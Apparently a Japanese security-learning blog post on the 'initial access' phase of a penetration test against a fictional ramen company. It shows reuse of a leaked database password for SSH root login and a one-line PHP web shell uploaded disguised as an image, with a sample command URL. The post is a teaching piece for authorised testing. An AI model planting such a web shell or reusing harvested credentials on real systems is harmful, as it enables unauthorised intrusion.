本記事の内容は、セキュリティの仕組みを理解するための学習・研究を目的としています。 許可のない第三者のシステムへの攻撃や侵入行為は、法律で固く禁止されています。 検証を行う際は、必ずご自身が管理する環境、または許可を得た環境内でのみ実施してください。 本記事の情報を利用して生じた一切のトラブル・損害に対し、筆者は責任を負いかねます。
前記事のリンクはこちら
https://qiita.com/tkmiii_GiGOOO/items/a666f74f20e467d44257
はじめに:「攻撃」の本当の意味
前回は「ハッキングの9割は情報収集(Enumeration)で決まる」という話をしました。
今回は、その集めた情報を武器に変えて、実際にシステム内部へ足を踏み入れる Initial Access(初期侵入) のステップです。
ここでも、映画と現実は違います。
プロのハッカーにとって、最高の攻撃とは攻撃に見えない攻撃です。
必殺技(Exploit)は「最終手段」にとっておく
初心者はすぐに「バッファオーバーフロー」や「リモートコード実行(RCE)」といった、派手な脆弱性攻撃(Exploit)を使いたがります。
しかし、プロはそれを嫌がります。なぜなら:
- 不安定だから(サーバーをクラッシュさせるリスクがある)
- 目立つから(IDS/IPSで即検知される)
- 一度しか使えないことが多いから
では、プロは何を使うのか?
答えは、Enumerationで見つけた「正規の機能」や「設定の不備」です。
「鍵が落ちているなら、ドアを壊す必要はない。」ですよね?
ケーススタディ:ラーメン大好き株式会社 への侵入
前回の架空企業「ラーメン大好き株式会社」の続きを見てみましょう。
Enumerationフェーズで、私たちは /dev/ ディレクトリから backup.zip を発見しました。
1. 点と点をつなぐ(Connect the Dots)
backup.zip を解凍すると、中から config.php が出てきました。中身を見ます。
<?php
$db_host = "localhost";
$db_user = "root";
$db_pass = "GiguR0ck$2025!"; // ← ビンゴ!
$db_name = "prod_db";
?>
ここで「よし、DBに接続だ!」と考えるのは普通です。
しかし、ハッカーはパスワードの使い回しを疑います。
2. 最も静かな攻撃「Credential Stuffing」
管理者は往々にして、DBのルートパスワードと、サーバーのSSHログインパスワードを同じにしてしまうものです。
プロは、手に入れたパスワードを使って、正規のルートである SSH(22番ポート) を試します。
$ ssh root@10.10.10.55
Password: GiguR0ck$2025!
もしこれで入れたら、アラートは鳴りません。「正規のユーザーがログインしただけ」に見えるからです。
これが、最もエレガントな初期侵入です。
もしパスワードがダメなら? 〜 WebShellへの道 〜
もしSSHがダメだった場合、次はWebアプリケーションの脆弱性を突きます。
ここでのゴールは、サーバー上で自分の命令を聞いてくれるプログラム Web Shell を配置することです。
- 管理画面へのログインを試みる(さっきのパスワードで!)
- 「プロフィール画像アップロード機能」を探す
- 画像(.jpg)のフリをして、中身がPHPプログラムであるファイルをアップロードする
<!-- shell.php -->
<?php system($_GET['cmd']); ?>
これが成功すれば、ブラウザから http://target/uploads/shell.php?cmd=whoami とアクセスするだけで、サーバー内部のコマンドが実行できます。
ADHD気質 × 侵入フェーズの「落とし穴」と対策
このフェーズ、ADHDタイプの人には一つ大きな罠があります。
それはうまくいかないと、すぐ飽きること。
「パスワードも通らない、アップロードも弾かれる…もう無理だ!」となりがちです。
そこで、プロがやっている「トラブルシューティング・ループ」を紹介します。
「なぜ動かない?」を分解する
感覚でトライ&エラーを繰り返すのではなく、原因をリスト化して潰します。
- Layer 1 (Network): 自分のIPアドレスは正しいか? VPNは切れてないか?
-
Layer 2 (Syntax): コマンドのスペルミスはないか?
pythonではなくpython3が必要か? - Layer 3 (Filter): ファイアウォールに弾かれているか? ポートを変えてみたか(443番など)?
行き詰まったら、「感情」をオフにして「チェックリスト」をオンにする。
これが、ADHDのハッカーが冷静さを保つ秘訣です。
侵入成功! でも、それで終わりじゃない
運良くサーバー内部に入れたとします。画面にはこんな表示が出ているはずです。
www-data@lamen-server:/var/www/html$
これは「Webサーバーの権限(一般ユーザー以下)」です。まだ管理者(root)ではありません。
ここからが、ハッカーの真骨頂である 「権限昇格(Privilege Escalation)」 の始まりです。
侵入はゴールではありません。冒険のスタート地点に立っただけなのです。
おわりに:今日の教訓
- 派手なExploitコードより、落ちているパスワードを使え。
- 管理者の「使い回し癖」を疑え。
- うまくいかない時は、感情ではなく「レイヤー」で考えろ。
次回は、手に入れた一般ユーザー権限から、システムの全権を掌握する「権限昇格」の世界へご案内します。